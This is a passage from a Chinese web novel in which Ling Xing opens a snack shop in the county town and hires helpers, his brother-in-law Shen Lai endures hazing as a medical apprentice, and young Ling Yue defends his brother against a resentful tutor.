柳青玉没想到凌星找他是说这个,他一时间不知如何反应,是被巨大惊喜砸中后的懵。 “凌哥儿,你真、真的愿意要我吗?” 他难以置信的看向凌星,随后想到了什么,欣喜褪去,眼神中全是落寞,“可我不好,我怕去了,给你添乱。” 凌星心知柳青玉一个人拉拔弟弟妹妹们生活很不容易,在此期间,肯定遭受了许多的否定和非议。 不然也不会是这个反应,否定自我。 他轻声道:“你干活仔细又勤快,我家院子修缮,也多亏你一直盯着,比我想象中修的还好。我是觉得你真的不错,才想先问问你愿不愿意的。” 凌星看着柳青玉的眼睛,温和的肯定,“玉哥儿,你很好,不会给我添乱。” 柳青玉鼻头一酸,眼眶一下就红了。 他有些不好意思的低头,吸一下鼻子抹去眼角泪花。 平复一下情绪后,他认真的答复,“凌哥儿,你要我做什么,我就做什么,一定不给你添乱!” “好,我相信你。” 凌星笑着应他,和他讲了薪酬待遇。 “每日五十文工钱,每月有两天的休息,包三餐。休息的时间可以攒着一起休,或是哪天有突发事件,调休。” 县城里的物价比镇上是贵一些的,同样的做活工钱也更高些。 在云霞镇,饭馆酒楼的伙计每日平均是三十文左右,也是包吃。 县里基本上在五十文左右,但不包吃,也没有休息天。 若遇突发情况,直接请假扣钱。 即使是这样,这种活也难找。基本上一个萝卜一个坑,就算是有人离开,那也是直接向掌柜的介绍自家亲戚或是认识的人。 内部直接把名额给消化了,挨不着旁人。 柳青玉对这待遇满意的不行,有休息时间,他就不必请假扣钱了。 还包三餐,他省下的口粮就能给弟弟妹妹们多吃些。 他高兴的不行,问凌星什么时候开工。 凌星说是六日后,不过明天就得来院子里,跟着他学一些基础的,不然怕开业的时候什么也不清楚,手忙脚乱耽误生意。 “明天就算你正式上工,月钱在第二月的第一天给你结清。” 柳青玉自然是没问题,问了上工时间后,才回家去。 在他走后,凌星三人去了牙行,找了上次的修缮队,给他们图纸。 之前在镇上装修铺子就是按着纸上来的,县里的也一样。 有详细的图纸,活做起来就快。 修缮队的领头说能在六天内搞定,说着还看了一眼凌星身边,确定没有柳青玉,实打实松一口气。 别说是他,就是队伍里其他人,也都对柳青玉心有余悸。 实在是盯的太严了。 他们做梦都能梦见柳青玉说重做,直接吓醒。 此时的银杏医馆里,沈来正在后院刷砂锅。 早上扶了一刻钟的木梯后,裴医终于抓好药材下来。 沈来使了吃奶的劲固定木梯,不叫它晃动。 裴医没看他,但开口说话了,“去后院帮忙。” 有活干是好兆头,沈来支棱起来,“好的师父!” 裴医闻言皱眉,“我不是你师父,叫我裴大夫。” 没有拜师礼,算不得师父,他也不认。 沈来雀跃的心情像被泼了一盆冷水,瞬间冷了下来,只能听话点头,“知道了,裴大夫。” 到后院的沈来才知道,原来还有三个少年和裴医学习医术。 加上一开始见的小童,一共四人。 这会他们都在后院晒药草。 那三个少年见到沈来,全都当没看见他一样。倒是小童对着沈来笑了一下。 刚笑完就被边上的瘦高个捂着脸,明显是不让他对沈来笑。 沈来眼中闪过落寞,很快又调整好,主动问道:“有需要我帮忙的吗?” 无人应答。 沈来连喊三声,都没人回他的话。 这种被人当作空气一样忽视的感觉很难受,沈来心里闷闷的。 他很想扯着他们的耳朵,问他们是不是耳朵坏掉了,但他不能这样做。 这里不是小柳村,他来这里,是为了学医。 他的机会来之不易,不能因一时之气搞砸。 算了,忍忍吧。 然后沈来走到为首的少年跟前,他观察过,其他几人总是时不时看他,是听从他的指挥。 “裴大夫叫我来后院帮忙,如果没有让我帮忙的地方,那我现在就出去回复他。” 三名少年终于有了反应,为首的这个瞥沈来一眼,脸色不太好看,没想到沈来会是这个反应。 竟然没哭着跑出去。 他没好气的指着角落堆积的砂锅,“煮药的锅,全部洗干净。” 沈来看过去,小山一样,也不知道哪来这么多的砂锅,还好木盆里有水。 他没多说,挽着袖子过去,蹲下开始刷锅。 一直刷到中午,期间打水换水了两次,累的腰酸背痛。现在肚子饿的厉害,他忍着饿抬头看一眼天色,发现已经到中午,这才放下砂锅,想找人问问,什么时候开饭。 结果院子里没人,只有他一个人在角落刷砂锅。 在陌生的环境里,身边空无一人,让沈来有些心慌。 他只能往前,边走边看,寻找着人影。 银杏街这边的人基本不上医馆,小病自己扛,大病没钱治。 只有孩子身体不舒服,实在没办法了,这才会来看大夫。 因此医馆很冷清。 医馆的人吃饭都是在灶屋吃,位置靠近看诊抓药的大堂。 灶屋的门是大敞开的,沈来着急的走到这,直接就能看见里面情形。 所有人都在屋里吃饭,并且桌上已经没什么吃的。 想来是开饭很久了,但没有人喊他。 沈来看到裴医坐在主位,压下心底的委屈,提起一抹笑,“哎呀,不好意思裴大夫,我不知道已经开饭,来晚了。” 裴医看他一眼,又看向边上的少年。 眉头微皱,声音微冷,“裴辛夷,你不是说叫过他?” 裴辛夷没有任何辩解,直接低着头认错,“我错了,义父。” 裴医看一桌子的残羹冷炙,没有能入口的。 他起身对裴辛夷道:“你惹出来的麻烦,自己解决。” 说罢头也不回的离开,路过沈来时,稍有停顿,但最终也没说什么。 裴辛夷见人走了,仰起脸看沈来,冷哼一声指着桌上的剩菜,“只有这些能吃,你要吃就吃。” 他眼神示意对面的裴忍冬和裴半夏,让他们起来,自己抱着只有四岁的裴空青,四人准备离去。 裴辛夷道:“把桌子收拾干净。” 沈来看着他们的背影,咬着唇内软肉,逼自己不要哭。 没事的,只要能学医,怎样都没事的。 咕噜噜—— 肚子饿的肠鸣,沈来没办法,只能挪到饭桌。小心的挑拣能吃的入口,至少要撑到回家才行。 下午,裴辛夷带着三个弟弟继续弄药草。 然后给沈来刷的砂锅挑刺。 一个锅反复刷了七遍,他也只会说太脏了,重刷。 等到裴医过来和沈来说可以回家了,他的手还泡在水里,已经皱的不能看。 肚子也很饿,连说话的力气都没有。 裴医见沈来有气无力的模样,冷冷的看一眼裴辛夷。 知道自己做的过火了些,裴辛夷没敢吭声。 他就是觉得沈来烦得很,一个哥儿而已,怎么这么犟。 根本就不会低头服输。 越不低头,他就越想叫对方低头。 谁知道沈来这么能忍…… 沈来疲惫的离开医馆,发现医馆外面有三盏灯。 他饿的脑袋发晕,视线聚焦后,看清是凌星三人。 “小五快来,咱们回家吃饭。” 沈来心中酸胀难忍,呜汪一声就扑到凌星怀里。 这一声和乌雪像十成十,搞得凌星都有点想乌雪了。 他的视线掠过沈来的手,不动声色的轻拍沈来的背,小声道:“小五怎么了?哪里不舒服?” 沈来悄悄的擦掉自己的眼泪,又把脸埋在凌星怀里,撒娇的抱着凌星的腰,“我就是饿的厉害,也想哥夫了。” 凌星笑道:“那快回家,做的都是你爱吃的。” 沈来倒是想起身,但他又累又饿,脑袋晕,走不了了。 他只能哭唧唧的看向沈回,“二哥,我脚动不了,不听使唤。” 沈回把人从凌星怀里拎出来,蹲下身,“上来。” “好!” 沈来趴到沈回的背上,累的手都抬不起来。 沈回目光瞥见弟弟手上异样,眉间轻皱。他没让沈来帮忙提灯,而是道:“累了就睡会,回家才有力气吃饭。” 沈来小声的嗯一声,就放任自己睡过去。 回去的路上,凌星兼顾凌月的步伐,走的慢沈回一步。 凌月的小脸满是严肃,他对凌星道:“哥哥,小五哥受欺负了。” 凌星自然也看出来了,孩子的手都泡皱巴了,掌心还有磨痕,人更是又饿又累,直接晕睡过去。 就算没受欺负,那肯定也不好过。 只是沈来一直在极力掩饰,不想他们知道,凌星便没有问。 “明天哥哥去找裴大夫说一说。” …… 晚上沈来吃了三碗大米饭,凌星怕他撑难受,后面拦着没让继续吃。 吃完洗漱一番,人就睡了过去。 翌日一早,凌星下了沈来爱吃的面条,有蛋有肉。还给他用油纸包了好几块点心,让他饿了吃。 昨天是为认路,也为拜会沈来未来的师父,以示敬重,凌星和沈回才过去。 今天就要沈来自己去了。 在沈来走后,凌星和沈回去一趟铺子看看进度,检查一下前面做好的需不需要调整,改了灶台的小细节,确认无误,二人便去了银杏街。 怕沈来看见他们,凌星给一个卖鸡蛋的少年两文钱,让他帮忙送早就写好的信给裴医。 信内容是邀请裴医,在医馆斜对面的饭馆见面。 凌星和沈回刚在饭馆里点了一壶茶,裴医清瘦的身影便出现。 此时饭馆没有食客,只有他们三人。 裴医依旧一副谁也不待见的清冷模样,没接沈回倒的茶水,直接询问,“你们找我要谈什么?” 沈回把茶水放桌上,“我想知道,我弟弟的手怎么回事?” 裴医睨沈回一眼,眉头皱着,“你在质问我?” 沈回摇头,“我只是想知道原因。” 裴医收回视线,“水里泡了一天,又打了一天的水,一半泡的,一半磨的。” 说完也不等沈回和凌星反应,直接道:“你们要是觉得沈来受了委屈,让我好好呵护对待的话,那趁早把人领回去吧。” “我今天话先说在这,他在我这里,只有吃不尽的苦头。若不是县令大人要求,我根本不会收哥儿学医。” 裴医目光划过二人,“你们既然让身为哥儿的他来学医,就该知道,若是这点冷遇和罪都受不了,他学了也是白学。” 哥儿学医,道路艰辛。 这条路上所遇到的东西,远比沈来如今遇到的,要更难以承受。 现在就受不住,后面就更不可能受得了。 凌星和沈回听出了裴医话里的意思,二人也没有办法。 想让沈来好,要改变的并不是裴医的态度。 而是大禹所有人对女子和哥儿学医的态度。 离开饭馆后,凌星的心情有些低落,也不知道自己当初给小五找大夫学医,到底是对是错。 沈回低头看着凌星低落的神色,看出他内心的想法。 “哥夫别担心,小五是有主见的孩子。真的觉得受不了,忍不下去,他自己会离开的。” 凌星叹一口气,只能点头。 后面的几天,沈来在凌星他们面前表现正常,除了有时候无意间会流露出疲倦,其他时候真看不出不同。 他的手在皱了三天后,终于不再皱。想来裴大夫没有再叫他泡水刷砂锅。 四月十六这日,凌星在县里的小吃铺子要开张了。 柳青玉每天都会来院子跟凌星打一个时辰下手,对卖的那些小吃有一定的了解,也能简单的帮凌星。 终于到了铺子开张,柳青玉套上凌星定做的全包式围裙,不怕油溅到衣服上不好清洗。 凌星自己也围了,不仅能护着里面衣服,统一的颜色着装,食客看着感觉也不一样。 围裙一人两件,可以换洗。 开业这天,一阵鞭炮声后,吸引了些人驻足。 得知是卖吃食的铺子后,行人们多有惊奇。 卖吃食的铺子还是春雨街头一家呢! 蒸笼和镇上一样,是在门口,上面有棚子。 蒸笼里现在是满满的汤包,白色的蒸气被风吹向左侧,又被一道竖起来的木板挡住,只能往上飘。 柳青玉这几日下来对铺子里的吃食记的滚瓜烂熟,开始对人群揽客。 在县城卖,所有的吃食都比镇上贵两文钱。这样能保证最后盈利和镇上是一样的。 来春雨街的都是县里过的比较好的那一部分,其次就是丫鬟小厮嬷嬷比较多,都是帮主家跑腿买东西的。 对于凌星铺子里的吃食,有钱的这部分人因为没吃过的原因,听着有趣,也乐意买来尝尝。 反正也不贵,味道若是好就自己吃,若是不好赏给下人或是丢了,都可以。 因为铺子是新开的,倒是干净,稍微有点钱又没有钱到那份上的人,也愿意去铺子里坐坐。 很快,小吃铺子里的六张桌子就都坐了人。 但铺子里很稀疏,人人都有脾气,不接受拼桌,只愿意自己坐。 凌星有些头疼,但也没办法。 好在其他的客人也不见得真想进来坐,觉得挤得慌。 第一波食客很快就吃上了食物。 汤包鲜香味美,皮薄多汁。麻酱凉皮香醇浓郁,肉酱肠粉咸鲜无比,爽滑细腻…… 食客们心中惊叹,真没想到,不是大酒楼里名厨所做的食物,味道竟然能这样好! 食物的美味征服了食客的心,让他们对环境的不满降低,而是一心扑在美食上。 人群里,有几个小厮看着凌星眼熟,在看到高大的沈回,还有有人拿着汤包的时候,才确定就是卖绒花的那个小摊主! 他的铺子竟然开到县里了吗? 那可真是太好了! 他们想吃猪皮冻,凉皮的时候,可就方便多了啊。 县里去买绒花的小厮们凌星都眼熟,遇着熟人了,还聊了几句。 现在人不是很多,又有柳青玉,沈回还有凌月帮忙,凌星还挺轻松的。 买好要吃的吃食,小厮们没敢往里面坐,他们瞥见里面人衣着打扮,身份地位比他们高,可不敢进去同坐。 和凌星挥手,并表示会和其他熟识的人推荐凌记小吃铺子后,小厮们才高兴离开。 有钱人虽然各方面都讲究,但也有个好处。 那就是不差钱。 吃了铺子里的吃食,但凡他们觉得好吃的,最后都会一下子买很多。 有的买汤包,甚至一蒸笼一蒸笼的买,一口气买十蒸笼的也有。 都是买回去给家里吃的,对他们来说,小吃铺子里的吃食,便宜的简直就像白送。 很快凌星就悠闲不了,恨不得长八只手忙活。 小吃铺子这边逐渐热闹起来,隔壁卖布的铺子里陆陆续续走出来人,看到小吃铺子里有熟人,好奇的也想尝尝什么味道,直接排队买。 布庄掌柜见客人走差不多,一脸不高兴的出来。 想要对着隔壁嚷嚷一句:你家这些气都飘到我铺子门口了!我铺子里的布被染了味道卖不出去谁负责! 结果就看见挡了大部分蒸气的木板,溢散出来的蒸气都没飘到门口,就看不见了。 来春雨街开铺子的都不差钱,多少有些背景。 布庄掌柜早就打探过,这个铺子和林县令有点关系。 他不好找茬,只能压着火忍着。 宽慰自己反正客人吃完了就会回来,没什么大不了。 随后生着闷气回铺子里等。 凌星几人忙了一整天,期间沈回还跑了两趟买肉,现做馅料。 他低估了这群有钱人的钞能力。 除了要忍受一下有钱食客,对铺子里的环境不满外,赚钱是真的快。 但他铺子里只能这样了,没有多余的空间做雅间,连屏风都没地方放。 这里没餐饮类的铺子,除了铺子贵以外,也有因为铺子地方小。 隔壁街就有大酒楼,三层楼高,是云水县最气派的酒楼。 说来和凌星还有些纠葛,正是云霞酒楼东家,在县城的产业。 背后人是县丞。 凌星倒不担心他们会再做什么,之前在云霞镇都相安无事,现在就在林县令眼皮子底下呢,更不会对他做什么。 晚上关铺子回家,打开钱匣子数钱的时候,凌星是一点也不觉得累了。 今天有四个人忙活,县里铺子规模比镇上大了一倍,东西自然也多了一倍。加上添了一道肠粉,今日去除本金,纯收益就有近三两银子。 就是胳膊累的抬不起来了。 第二天,凌记小吃铺子的生意不减反增。 凌星累的不行,已经到了极限,下午卖完直接关了铺子。 他撑着到家,躺在床上一动不动。 不行,他得再招个人。 沈回去柳家喊了柳青玉和柳青叶过来。 凌星实在是累的动不了。 兄弟二人来后,凌星就道:“铺子生意比我想的要好,只有玉哥儿一个伙计也忙不过来。后面二郎和阿月也不在铺子里帮忙,所以我想教一下你们做猪皮冻、凉皮和肠粉。工钱一日六十五文,月休两天,包三餐。你们愿意吗?” 又要做东西又要招待,工钱肯定是要加的。 柳家兄弟两闻言愣在原地。 一日六十五文,一月近二两银子,两人加一起就是近四两银子……老天啊,他们这得赚多少啊! 这么多钱!就算是爹娘在世都没有过! 凌星捏了捏手臂,“就是有点累,后面要是忙不过来,我再另外招一个专门招待的伙计。” 柳家兄弟都快要跪下给凌星磕了,他们是哥儿,在外头找活比汉子难的多,一日能赚二十文顶天。 六十五文一天,他们做梦都不敢想啊! 放眼整个县城,能有这工钱的,基本都是铺面掌柜了。 而他们不仅能拿到,还包吃,更重要的是,他们能学到手艺! 寻常要学手艺是要拜师,要给师父银子的! 柳青玉激动的声音都发颤,直接改口,“东家,咱得签契书,我得给你保证,绝对不会泄露东家做吃食的方法。” 凌星想了一会,觉得也行。 虽然用心研究,其他厨子也能研究出来,但那不是需要时间嘛。 趁这段时间他能多赚点,也挺好的。 契书是凌月写的,他顺便练字。 凌星也在里面写清楚对兄弟二人的待遇,算是对双方的保障。 最后就是在他们各自的名字上,按上手印。 一式两份,契成。 后面遇到问题去县衙,只要有一人拿出契书,都是有用的。 柳青玉和柳青叶没急着走,跟着凌星做了一遍猪皮冻,凉皮和肠粉,又各自试了试。 凉皮和肠粉卖相差点,味道还行。猪皮冻要明天才能知道什么味,估计不会差,毕竟是凌星手把手教的放多少调料。 后面兄弟两干脆给凌星打下手,有二人帮忙,东西做起来很快。 日子很快就到了四月二十,是凌月和沈回入县学的日子。 毕竟是第一次入学,凌星和沈来不想错过,也跟着沈回和凌月去县学。 就在前面一条街,走路一刻钟,近的很。 天刚蒙蒙亮,县学的学生们已经入学。 庄严的大门在黑绰绰的天光下,叫人看了心中无端生出压抑感。 沈回和凌月背着沉重的书箱,给门房提交早已办好的学帖,做了登记后,踏入高高的县学门槛。 凌星和沈来看着人走远后,也回家去,吃完饭他们各自也有事忙。 为了以防手累废掉,凌星决定在柳家兄弟二人彻底学会之前,他铺子东西卖完就关门。 结果他这一关,直接促成饥饿营销,越卖越快。 每天开门就有一堆人守着,大量购买,队伍排的老长。 排队的人也不是故意一下子买很多,实在是家里人丁兴旺,哪怕一人一份,加起后,量也多起来。 凌星保持每天盈利一两银子,直到七日后,柳家兄弟学会了那三样,凌星铺子的收益,再次翻到一日三两。 他算账时总忍不住感叹,县城真赚钱啊! 准确的说,是春雨街真赚钱。 铺子要是开在别的地方,没这么多不差钱的主,赚也能赚,就是规模得更大才行。 第75章 第 75 章 “是阿月让哥哥受委屈了…… 转眼已是五月, 县城铺子的生意步入正轨,给凌星累的不轻。 好在现在终于能喘口气,不再像之前一样,开铺子像打仗了。 一间铺子加上凌星三个人, 目前来说完全忙的过来, 而且后面生意趋于稳定。 除了偶尔会有谁家宴请,来定大量的汤包这些, 才会出现忙不过来的情况。 不过凌星在第一次遇到这种情况的时候, 就对外说了要提前三日预约。 这样一来, 他就有了足够的准备时间,不会耽误铺子生意。 现在铺子每天稳定近三两银子的纯收入, 若遇到宴请的话, 那天能有五两甚至更多点。 如今他铺子收入,全都是自己手里拿着。沈家不要他再给公中银钱,沈回也说他需要读书, 无法再去铺子里帮忙,不要分成。 凌星前面因为送凌月科考, 后又修缮小院,铺面,小金库差点被耗光。 现在他的小金库,终于又充盈, 凌星心里有了安全感。 至少按着目前的收入, 去除柳家兄弟的工钱, 商税, 日常花用,凌月的药钱,只需三个半月, 就可以把凌月一年的学费挣出来。 凌月因为是花钱买的名额,每月要另给县学二十两,一年就是二百四十两。 这还是由林县令出面,看他的人情上,才愿意给出这个名额的。 一月二十两看着贵,但想塞孩子入县学的有钱人可不少,年年都是挤破头皮抢名额。 沈回是自己考上县学,不必交学费,前面亦积攒了不少的积蓄,完全够用。 而且他科考排名都靠前,院试按着整个州府排名虽然在十九名,但在云水县,他排名在第四。 前面三个年纪都不小,且都是屡试不第,这次终于得中。 云水县前五都能升廪生,每月县学会给廪生六斗米,每年还有五两银子。夏日每月有冰补,冬日有炭补。 米给的是陈米,但比市面上的陈米要好很多,都是县学专门的廪田产出。 寻常陈米如今三十文一斤,县学发的拿出去卖,能卖三十五文到四十五文不等。沈回每月光是米换银钱,最少就有两千六百二十五文。 前面沈回和凌星说好,每月给他一两银子,算是伙食费和住宿费。 他自己余下的银子,全都存放好,以备不时之需。 因为学费很贵,凌月入县学后,学的更加的认真勤勉。 早上鸡都没叫他就已经起床,先锻炼身体两刻钟,边锻炼边背诗文,然后开始看书。 到了县学,其他人在打闹玩乐,他还在心无旁骛的看书。 在县学同窗们看来,就是凌月年岁小,却总是很“老成”,没有一点孩童的活泼,规矩又严肃。 满脑子除了读书就是读书。 同窗们的年纪十五到三十的都有,好些孩子都比凌月大了,他们看见凌月,都忍不住的逗他,诱惑他和他们一起玩。 犹记得入县学第一天,凌月出现在学堂的时候,大家都惊奇不已。 这么小的孩子,竟都是童生了! 下课之后都围上凌月,他长相精致好看,睫毛长长的,大家伙看的手痒,就想拿手戳戳他的脸。 结果凌月就一副小大人模样,严肃又认真,“我要好好读书,不能和同窗们玩闹,请诸位见谅。” 大家功名都一样,该以同等身份的对话。但一放到六岁的小娃娃身上,怎么看都觉得很好笑。 也不是嘲讽凌月,单纯的觉得有意思。 凌月确实是真的一点空闲时间都不放过,吃饭的时候都捧着书看。 同窗们见他一个小娃娃如此拼命的学,怕他受不住,劝他劳逸结合。 还表示他们可以带他玩小孩子爱玩的,让他放松身心。 凌月知道同窗们是好意,但他实在不需要,只得更严肃认真的说:“我哥哥赚钱很不容易,他为了让我读书,每天都要开铺子,忙的不可开交。我不需要玩耍,只需要安静的读书,诸位同窗,请成全。” 话说到这份上,大家心里有底。也对凌月刮目相看,小小年纪能如此自律,着实厉害。 自那之后,童生班的学子们,再也没有拉凌月玩过。 还私下里说好,他们下课放松的时候动静都小点,别打扰了凌月看书。 凌月基础打的好,之前在小柳村王隽也教过他,县学里的课,完全能跟的上。 夫子们也都挺喜欢他,勤奋好学的学生,很难叫夫子不喜。 继续这样下去,倒也和美。 但在端午前的两天,凌月在县学就出了事。 县学每逢初一十五休沐,各个节日当天也休沐。 端午与寻常休沐时间重合,便有两天的假。 节日需要给夫子送节礼,以示尊敬也为求夫子今后多加关照。 节礼多少并无准确的定数,夫子们也并不准收取金银细软。 规定就是只能收些吃食,其他一概不准收。 凌星知道要送礼,买了不少糕点和肉。 想到小吃铺子也有夫子去吃,还起了大早,专门做了汤包和生煎包。那生煎包里面塞的馅料是牛肉,虽说肉便宜,但可难买到了,根本不在市面上流通。 还是林县令知道他在找牛肉,特意行的方便,给他弄了两斤叫人送过来。 凌星顺手也帮沈回备了节礼,沈回谢过后,取了银钱给凌星。 叫他自己弄的话,是万万没这样细心,只会看什么贵,就买什么。 凌星备的节礼都是实打实的,一点没含糊。凌月都拎不动,还是沈回帮他送到童生班夫子所在的春晖堂。 凌月的夫子一共有五个,教授四书五经和书法。其中有四个不仅教童生,还教秀才。 但因为凝语堂位置不够了,才让他们在春晖堂安置。 沈回的夫子都在凝语堂,他也赶着送节礼,便没有在春晖堂久留,东西放下后就走了。 春晖堂的五个夫子都在,看到凌月的时候脸上带笑。 他们的座位周围,已经堆放着其他学子送的节礼,一眼看去全是吃食。 凌月做了标准的学子礼,一一行礼后,开始给节礼。 每个夫子的节礼都是一样的,没有任何的厚此薄彼,也正因为这样,反而生出了事端。 秦明风是五人里唯一一个只教童生班的夫子,他只有秀才功名,不像其他几个全是举人。山长更是进士出身,没人能比得了。 他在春晖堂里,总会觉得低人一头。 也比谁都想要扬眉吐气。 秦明风知道自己的斤两,扬眉吐气这事,靠自己肯定是靠不上了,只能靠教出厉害的学生来。 可惜十几年了,一直没遇到。 就在他要放弃的时候,他遇见了凌月。 这孩子才六岁,就已经是童生,比起当年的李徽缘还要厉害! 说起李徽缘也是可惜,家里一直有人过世,孝期不准参考。今年好不容易考上,也得了入县学的资格,学帖都发了,他却没有入学。 为了能赚钱贴补家用,选择边开私塾边读书。 秦明风得知后,忍不住的摇头。 这样的一心二用,怕是秋闱要落下。不过李家穷困,他若不开这私塾,估计连下次去州城的路费都没有。 左右李徽缘于他无益,即无关,秦明风没有多关注。 他的心思全打在凌月身上。 孩子虽小,心性却稳,极其的认真勤奋。 且每月有二十两在县学借读,说明家里有银钱,不会和李徽缘一样,因钱而不得不放弃些东西。 因此秦明风将所有的心血都倾注于凌月,凌月的功课他看的比任何人都仔细,批注比任何人都多。 课上也都在时刻注意着凌月,给他答疑解惑,一直让他回答问题。 他如此特殊的对待,费心的教导,到头来在这孩子眼中,竟然和其他四人是一样的吗? 难道就因为他是秀才,不是举人? “阿月,你的字练的不错,已有些风骨。想要更进一步,需要再多练习,切莫焦躁。” 教导凌月书法的崔夫子终究是没忍住,抬手摸了一下凌月的头,和蔼的叮嘱教诲。 凌月拱手,认真道:“学生谨记。” 秦明风看着对面夫子谆谆教诲,学生乖巧听话的画面,心底翻涌着烦躁,他带着些命令的口吻道:“凌月过来。” 凌月闻言微愣,但还是对崔夫子告罪一声,转向秦明风。 “秦夫子。” 秦明风见凌月听话过来,心里的烦躁少了一些,他从桌边抽取出一张纸,上面有不少红色的批注。 “凌月,你的诗虽然形式没有错处,也有些感情在里面。但科考的诗文不要写这些关于百姓生活的东西,多写赞扬陛下的,锦簇一些。” 他当年就是靠着赞扬陛下拿了秀才,这是他的成功路。 虽然乡试的时候写了依旧没有录用,但至少院试是管用的。 不是只有姓崔的有东西教,他秦明风也有! 凌月接过他的诗文功课,犹豫一番后,还是对着秦明风一拱手,用只有两人听见的声音道:“夫子的想法恕学生无法遵从。” 秦明风根本没想到凌月会拒绝,脸色一下就沉了下去。 凌月还在继续道:“学生的兄长说过,陛下务实,并不喜锦簇文章。” 这是他哥哥从林县令那打探来的,而且他也确实不喜欢走捷径,媚上获取什么。靠着这样的手段得到的东西,太虚无缥缈,根本就抓不住。 他想要一步一步脚踏实地,安稳的走。 也能够尽可能的避免祸及家人。 秦明风听完凌月说的原因愣了一下,下意识以为凌月的兄长是什么厉害人物。 随后想到凌月的兄长不过就是开小吃铺子的,不由气的咬牙。 其他夫子是举人也就算了,区区一个无功无名的哥儿说的话,都能成反驳他的理由! 他怒道:“你那兄长不过是卖吃食的哥儿!他能懂什么?陛下喜好都敢妄议,真是不知天高地厚!” 凌月抬眸,眉头紧皱,小脸绷着。 他不高兴有人这样说他哥哥,就算是夫子也不行。 县学的高昂学费让凌月到底没有出言不逊,但他也没有再顾及秦明风,而是用正常的音量,严肃的肯定道:“秦夫子,我兄长没有妄议,只是认为陛下爱民如子,心系百姓生活。而我,相信我的兄长。” 这下,春晖堂其他的四个夫子都听清楚了。 稍微想一下,都能明白前面说了什么。 无非就是凌月拒绝了秦明风的提议,然后秦明风恼羞成怒了。 他们暂时没出声,怕火上浇油。 秦明风再次被反驳,还是被自己最看好、最关照的学生,当着看不起他的举人们的面反驳。 他受不了此般的折辱,一掌拍在桌子上,指着凌月的鼻子骂,“你竟听他的话?岂不是蠢笨如猪!” 崔夫子等人忍了又忍,没忍住,再没反应,凌月肯定得挨打。 四人一起上前来,默契的把凌月护在身后。 崔夫子道:“秦夫子,阿月年岁还小,你何至于发这么大的火?” 另一个夫子去过小吃铺子,对凌星有些了解,也劝道:“阿月兄长赚钱不易,却尽所能的给阿月提供最好的读书环境,他是一个有眼界,有见识的人。而阿月敬慕兄长,听兄长话,又何错之有?” 秦明风看着他们,脸颊抽动一下,冷哼道:“也是,我不过是秀才,哪配在一群举人眼前发火啊!更不敢教训神童天才,不能说神童天才的兄长。左右就是我不配!” 众人被他这阴阳怪气的论调说的也心里不舒服,四名夫子注意着凌月,怕小孩受不住这些话。 说着秦明风又看向凌月送的节礼,直接将其扫进了放垃圾的竹编篓子里。 “送这些寒酸东西,也好意思拿的出手!” 其实东西很好,他扫进去也觉得可惜。但他就想恶心一下人,出出自己心口的恶气。 四名夫子眉头紧皱,很不赞同秦明风的做法和他说的话。 人家这些东西送的根本不差,看出来是花了心思的。 但也没办法,毕竟是秦明风的东西,怎么处理旁人插不上手。 他们想带凌月出去,别叫孩子心里更不舒服。 凌月没走,轻轻挣脱崔夫子的手,告罪一声,“抱歉。” 随后就走到那竹编篓子前,弯腰捡里面的东西。 “这个肉是五花肉,我兄长跑了好几家,选的肥瘦均匀的好肉,想让夫子们吃着不腻又能有荤腥。” “美味斋的桃花酥和桃酥最好吃,千味阁的龙须酥还有绿豆糕最好吃,福临堂的千层糕、海棠糕、桃脯最好吃。这些都是我的兄长挨家试过,选了最好的送来。” “汤包和生煎是天没亮,他就起来弄的,调料里面加了上好品质的香料。考虑到夫子们年纪大,不能吃太荤腥的,又觉得包猪瘦肉会怠慢了夫子们,所以生煎里包的是牛肉。这一点的牛肉,是我哥哥花不少银钱,托人找了好久,好不容易买到的。” 凌月把东西一一捡出来,珍惜的抱在怀里。 “这些都是我兄长对夫子们的心意,也是他对我的关怀呵护。秦夫子既然不想要,那请允许学生将其带走吧。” 秦明风在原地没动,崔夫子几人看向自己桌上的节礼,晓得人家是用心准备,没想到这样用心。 牛肉啊,他们吃上一次,也要费些力气。 可以想到,凌月的哥哥找牛肉时,确实不易。 凌月并没有等秦明风点头,他也不需要对方同意,带着东西直接离开。 秦明风看着凌月的背影,只觉得自己的面子全无。 竟敢直接就走! 简直就是目无尊长! 而崔夫子四人的视线就像火一样,烤的他没办法呼吸。 他推开崔夫子四人,大步朝着山长所在的朝学阁走去。 “山长!那个凌月目无尊长,顽劣不堪,我实在是没办法教导!” 韩世青一袭儒袍,花白的胡须垂至胸口,手上的毛笔不停,字迹遒劲有力。 等秦明风发泄完之后,他才慢悠悠问道:“具体如何顽劣不堪,目无尊长?” 秦明风一噎,不敢多添油加醋,毕竟崔夫子几人知道原委。 他把事情大概讲了一遍,略去凌月说的节礼如何用心备的那段,也略去他骂凌月蠢笨如猪。 说罢前因,以退为进道:“山长,我身为夫子,就算是有错在先,他作为学生,也应当私下与我讲不是?当着其他夫子的面直接就拒绝,还说宁愿相信没读过书的兄长,也不相信夫子。” “我气急了无意扫掉节礼,他更是半点情面也无,直接把节礼拿走。这不是打我的脸面!叫我在其他夫子面前还如何自处?” 韩世青笔下一顿,顺着话头,“嗯。” “到底是年纪小,不懂人情世故,处理方式不太妥。” 秦明风紧追不舍,“那山长要如何处置他?” 韩世青继续写字,漫不经心的说:“处置不了,那是县令大人推荐来的人。” “什么?”秦明风直接愣住,他急道:“这么重要的事情,姐夫你之前怎么不和我说啊!” 韩世青这才抬头看他一眼,眼神语气都带着警告,“说过多少次,在县学里注意称谓。” “我说了,叫你又特殊对待,扒着人家想攀扯县令?” 之前县丞家的亲戚来县学借读,秦明风三天两头的找人家,最后把人弄烦了,直接对县丞说秦明风故意耽误他读书。 为了安抚周县丞那笑面虎,他舍出去不少银钱。 哪里还敢叫秦明风知道凌月是县令送来的。 秦明风又气的离开朝学阁。 回到学堂,他就看到凌月把吃食分给了学生们,一群人夸好吃。 凌月坐在位置上,还颔首肯定,“好吃就多吃一些吧。” 秦明风黑着脸,看着里面抢东西吃的情形。 都是外面铺子买的,他们之前又不是没吃过! 明明比这些好吃的东西,他们也吃过许多。怎么如今倒觉得这些平日吃腻味的,是难得美味了? 秦明风的脸色越来越难看,说白了,就是凌月人小心眼多。现在的情形,都是为了做给他看!在骂他不识货,打他脸呢! 他忍无可忍,怒喝一声,“凌月扰乱学堂秩序,给我滚出来站着!” 秦明风喊完后,脑袋一突一突的。他好歹是个秀才,还能叫一个小孩骑到头上? 就算是县令大人推荐来的又能怎样?他身为夫子,教训犯错的学生,县令大人还能抓他不成! 学子们见秦明风发火,连忙解释道:“秦夫子,阿月只是给我们分吃食,是我们自己喧哗的。” 